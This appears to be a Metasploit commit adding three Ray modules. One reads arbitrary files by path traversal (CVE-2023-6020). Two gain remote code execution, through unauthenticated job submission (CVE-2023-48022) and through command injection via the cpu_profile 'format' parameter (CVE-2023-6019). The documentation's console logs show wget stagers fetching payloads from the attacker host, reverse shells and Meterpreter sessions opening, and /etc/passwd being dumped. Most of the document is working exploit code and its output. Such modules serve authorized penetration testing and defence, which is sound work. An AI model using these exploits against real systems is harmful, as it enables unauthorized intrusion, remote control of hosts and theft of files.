Land #19363, Ray Modules CVE-2023-6019 CVE-2023-6020 CVE-2023-48022

This commit is contained in:
dledda-r7
2024-08-23 04:55:17 -04:00
6 changed files with 619 additions and 0 deletions
@@ -0,0 +1,76 @@
## Vulnerable Application
Ray (<=v2.6.3) is vulnerable to local file inclusion (CVE-2023-6020)
The vulnerability affects:
* Ray (<=v2.6.3)
This module was successfully tested on:
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
### Install and run the vulnerable Ray (v2.6.3)
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
`docker pull rayproject/ray:2.6.3`
4. Start the ray container.
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
5. Start ray.
`ray start --head --dashboard-host=0.0.0.0`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/gather/ray_lfi_cve_2023_6020`
4. Do: `set rhost <rhost>`
5. Do: `run`
6. You should get a file content
## Options
### FILEPATH (Required)
This is the file to read. Default is `/etc/passwd`.
## Scenarios
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
```
msf6 > use auxiliary/gather/ray_lfi_cve_2023_6020
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6
rhost => 192.168.56.6
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > check
[+] 192.168.56.6:8265 - The target is vulnerable.
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > run
[*] Running module against 192.168.56.6
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ray:x:1000:100::/home/ray:/bin/bash
[*] Auxiliary module execution completed
```
@@ -0,0 +1,103 @@
## Vulnerable Application
Ray (<=v2.6.3) is vulnerable to RCE via the agent job submission endpoint (CVE-2023-48022)
The vulnerability affects:
* Ray (<=v2.6.3)
This module was successfully tested on:
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
### Install and run the vulnerable Ray (v2.6.3)
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
`docker pull rayproject/ray:2.6.3`
4. Start the ray container.
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
5. Start ray.
`ray start --head --dashboard-host=0.0.0.0`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/ray_agent_job_rce`
4. Do: `set rhost <rhost>`
5. Do: `set lhost <attacker-ip>`
6. Do: `run`
7. You should get a shell or meterpreter
## Options
No options
## Scenarios
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
```
msf6 > use exploit/linux/http/ray_agent_job_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
rhost => 192.168.56.6
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(linux/http/ray_agent_job_rce) > check
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
msf6 exploit(linux/http/ray_agent_job_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] Command execution successful. Job ID: 'raysubmit_EJDSK2BrhAP8j69n' Submission ID: 'raysubmit_EJDSK2BrhAP8j69n'
[*] Using URL: http://192.168.56.1:8080/kOZWO5HA3wWm2Hh
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /kOZWO5HA3wWm2Hh
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045380 bytes) to 192.168.56.6
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:42052) at 2024-08-10 10:45:48 +0900
[*] Server stopped.
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
```
msf6 > use exploit/linux/http/ray_agent_job_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
rhost => 192.168.56.6
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(linux/http/ray_agent_job_rce) > set target 1
target => 1
msf6 exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(linux/http/ray_agent_job_rce) > check
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
msf6 exploit(linux/http/ray_agent_job_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] Command execution successful. Job ID: 'raysubmit_RNpiJJt2feNrUrwN' Submission ID: 'raysubmit_RNpiJJt2feNrUrwN'
[*] Using URL: http://192.168.56.1:8080/QtpKXmqA8kq
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /QtpKXmqA8kq
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (36 bytes) to 192.168.56.6
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:35136) at 2024-08-10 10:47:37 +0900
[*] Server stopped.
whoami
ray
pwd
/home/ray
```
@@ -0,0 +1,103 @@
## Vulnerable Application
Ray (<=v2.6.3) is vulnerable to RCE via cpu_profile command injection vulnerability (CVE-2023-6019)
The vulnerability affects:
* Ray (<=v2.6.3)
This module was successfully tested on:
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
### Install and run the vulnerable Ray (v2.6.3)
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
`docker pull rayproject/ray:2.6.3`
4. Start the ray container.
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
5. Start ray.
`ray start --head --dashboard-host=0.0.0.0`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019`
4. Do: `set rhost <rhost>`
5. Do: `set lhost <attacker-ip>`
6. Do: `run`
7. You should get a shell or meterpreter
## Options
No options
## Scenarios
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
```
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
rhost => 192.168.56.6
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
[*] Using URL: http://192.168.56.1:8080/2W4ZJ30NqjnfoGE
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /2W4ZJ30NqjnfoGE
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045380 bytes) to 192.168.56.6
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:59072) at 2024-08-10 10:29:05 +0900
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
```
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
rhost => 192.168.56.6
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1
target => 1
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
[*] Using URL: http://192.168.56.1:8080/Mz2SC2mlSp
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /Mz2SC2mlSp
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (36 bytes) to 192.168.56.6
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:59210) at 2024-08-10 10:30:49 +0900
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Server stopped.
whoami
ray
pwd
/home/ray
```
@@ -0,0 +1,82 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray static arbitrary file read',
'Description' => %q{
Ray before 2.8.1 is vulnerable to a local file inclusion.
},
'Author' => [
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
'danmcinerney <dan@protectai.com>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6020'],
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']
],
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ IOC_IN_LOGS, ],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(8265),
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
file_content = lfi('/etc/passwd')
return Exploit::CheckCode::Vulnerable unless file_content.nil?
Exploit::CheckCode::Appears
end
def lfi(filepath)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")
})
return unless res && res.code == 200
res.body
end
def run
file_content = lfi(datastore['FILEPATH'])
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content
print_good("#{datastore['FILEPATH']}\n#{file_content}")
end
end
@@ -0,0 +1,125 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray Agent Job RCE',
'Description' => %q{
RCE in Ray via the agent job submission endpoint.
This is intended functionality as Ray's main purpose is executing arbitrary workloads.
By default Ray has no authentication.
},
'Author' => [
'sierrabearchell', # Vulnerability discovery
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-48022'],
['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
],
'CmdStagerFlavor' => %i[wget],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux],
'Targets' => [
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'MeterpreterTryToFork' => true
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8265),
]
)
end
def get_job_data(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
unless res && res.code == 200
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
'data' => { 'entrypoint' => cmd }.to_json
})
end
return unless res && res.code == 200
JSON.parse(res.body)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
@job_data = get_job_data('ls')
return Exploit::CheckCode::Vulnerable unless @job_data.nil?
Exploit::CheckCode::Appears
end
def exploit
@job_data ||= get_job_data('ls')
if @job_data
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
end
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
else
execute_cmdstager({ flavor: :wget })
end
end
def execute_command(cmd, _opts = {})
get_job_data(cmd)
end
end
@@ -0,0 +1,130 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray cpu_profile command injection',
'Description' => %q{
Ray RCE via cpu_profile command injection vulnerability.
},
'Author' => [
'sierrabearchell', # Vulnerability discovery
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6019'],
['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'],
],
'CmdStagerFlavor' => %i[wget],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux],
'Targets' => [
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8265),
]
)
end
def get_nodes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')
})
return unless res && res.code == 200
JSON.parse(res.body)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
ray_version = Rex::Version.new(ray_version)
return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')
@nodes = get_nodes
return Exploit::CheckCode::Vulnerable unless @nodes.nil?
Exploit::CheckCode::Appears
end
def exploit
# We need to pass valid node info to /worker/cpu_profile for the server to process the request
# First we list all nodes and grab the pid and ip of the first one (could be any)
@nodes ||= get_nodes
fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes
first_node = @nodes['data']['summary'].first
fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')
pid = first_node['agent']['pid']
fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')
ip = first_node['ip']
print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded, { pid: pid, ip: ip })
else
execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
end
end
def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'),
'vars_get' => {
'pid' => opts[:pid],
'ip' => opts[:ip],
'duration' => 5,
'native' => 0,
'format' => "`#{cmd}`"
}
})
end
end